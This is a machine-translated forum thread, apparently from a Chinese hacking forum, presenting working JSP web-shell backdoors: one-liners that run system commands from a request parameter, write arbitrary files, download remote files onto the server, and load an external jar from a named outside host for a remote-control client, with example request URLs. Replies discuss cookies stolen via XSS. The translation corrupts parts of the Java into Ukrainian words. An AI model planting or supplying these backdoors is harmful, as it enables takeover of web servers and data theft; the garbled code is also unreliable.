Ця стаття є дзеркальною статтею машинного перекладу, будь ласка, натисніть тут, щоб перейти до оригінальної статті.

Вид: 14991|Відповідь: 7

[Інструменти безпеки] Рукописний JSP бекдор

[Копіювати посилання]
Опубліковано 02.01.2015 18:46:57 | | | |
Переведено з: http://p2j.cn/?p=1627
1. Виконуйте системні команди:
Виконуйте системні команди без відлуння:
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
Запит: http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls
Після виконання відлуння не буде, що дуже зручно для bounce shells.
Є відлуння при перевірці пароля:
<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i"))).getInputStream();        int a = -1;        байт[] b = новий байт[2048];        out.print("<pre>);        while((a=in.read(b))!=-1){ out.println(new String(b));        } out.print("</pre>);    }%>
Запит: http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls

2. Закодуйте рядок і запишіть його у вказаний файл:
1:
<%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes();%>
Запит: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234
Запис у веб-каталог:
<%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes();%>
Запит: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234
2:
<%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>
Запит: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234
Запис у веб-каталог:
<%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>
Запит: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234
3: Завантажте віддалений файл (якщо не використовувати утиліти Apache Io, не можна конвертувати вхідний потік у байт, тому він дуже довгий...)
<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();    байт[] b = новий байт[1024];    java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();    int a = -1;    тоді як ((a = в.read(b)) != -1) { baos.write(b, 0, a);    } новий java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %>
Запит: http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png
Завантажити на веб-шлях:
<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();    байт[] b = новий байт[1024];    java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();    int a = -1;    тоді як ((a = в.read(b)) != -1) { baos.write(b, 0, a);    } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %>
Запит: http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png
Четверте: Відображення викликає зовнішню банку, ідеально задні двері
Якщо вам не подобається, що функція бекдора занадто слабка і застаріла, можете спробувати так:
<%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null, new Object[]{ request.getParameterMap()})%>
Запит: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A

Підключення кухонного ножа: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar, пароль 023.

Рішення:
Використовуйте відображення для завантаження зовнішнього jar у поточний додаток, і відбиття виконує результат обробки вихідних. request.getParameterMap() містить усі запитувані параметри. Оскільки зовнішній jar-пакет завантажений, сервер повинен мати доступ до цієї jar-адреси.




Попередній:Криза текстового файлу TXT
Наступний:Шифрування Java MD5, шифрування Base64 та розшифрування Java виконує вихідний код команд системи
Опубліковано 02.01.2015 20:17:30 |
Нещодавно досліджував jsp backdoor?
 Орендодавець| Опубліковано 02.01.2015 20:39:44 |
Адміністратор опубліковано 2015-1-2 20:17
Нещодавно досліджував jsp backdoor?

Ви коли-небудь бачили JSP в одному реченні? Я знайшов його, не вивчав глибоко, не розумів xss, нарешті отримав печиво вчора, і не знаю, як змінити завантаження cookie
Опубліковано 02.01.2015 20:44:40 |
Delver_Si Опубліковано 2015-1-2 20:39
Ви коли-небудь бачили JSP в одному реченні? Я знайшов його, не копав глибше, не розумів xss, нарешті отримав печиво вчора, не знаю, як модифікувати печиво...

Це не буде вкрадене моє печиво з персоналізованим підписом,,,

Використовуйте плагін Firefox HackBar
Опубліковано 02.01.2015 20:48:57 |
Delver_Si Опубліковано 2015-1-2 20:39
Ви коли-небудь бачили JSP в одному реченні? Я знайшов його, не копав глибше, не розумів xss, нарешті отримав печиво вчора, не знаю, як модифікувати печиво...

Багатофункціональний браузер Ghost Brother v1.0


鬼哥多功能浏览器v1.0.exe (72 KB, Кількість завантажень: 7, Ціна продажу: 1 Grain MB)
 Орендодавець| Опубліковано 02.01.2015 20:57:50 |
Адмін опубліковано 2015-1-2 20:44
Це не буде вкрадене моє печиво з персоналізованим підписом,,,

Використовуйте плагін Firefox HackBar

Вчора вільні двері були судомними, я не міг підключитися і не міг зайти в магазин Firefox.
 Орендодавець| Опубліковано 02.01.2015 20:59:01 |
Адмін опубліковано 2015-1-2 20:44
Це не буде вкрадене моє печиво з персоналізованим підписом,,,

Використовуйте плагін Firefox HackBar

У DZ немає такої лазівки
Опубліковано 02.01.2015 21:00:22 |
Delver_Si Опубліковано 2015-1-2 20:59
У DZ немає такої лазівки

Не знаю, можеш перевірити, не плутай мою базу даних   

Ми всі використовуємо Tor Browser, щоб обходити стіну

Застереження:
Усе програмне забезпечення, програмні матеріали або статті, опубліковані Code Farmer Network, призначені лише для навчання та досліджень; Вищезазначений контент не повинен використовуватися в комерційних чи незаконних цілях, інакше користувачі несуть усі наслідки. Інформація на цьому сайті надходить з Інтернету, і спори щодо авторських прав не мають до цього сайту. Ви повинні повністю видалити вищезазначений контент зі свого комп'ютера протягом 24 годин після завантаження. Якщо вам подобається програма, будь ласка, підтримуйте справжнє програмне забезпечення, купуйте реєстрацію та отримайте кращі справжні послуги. Якщо є будь-яке порушення, будь ласка, зв'яжіться з нами електронною поштою.

Mail To:help@itsvse.com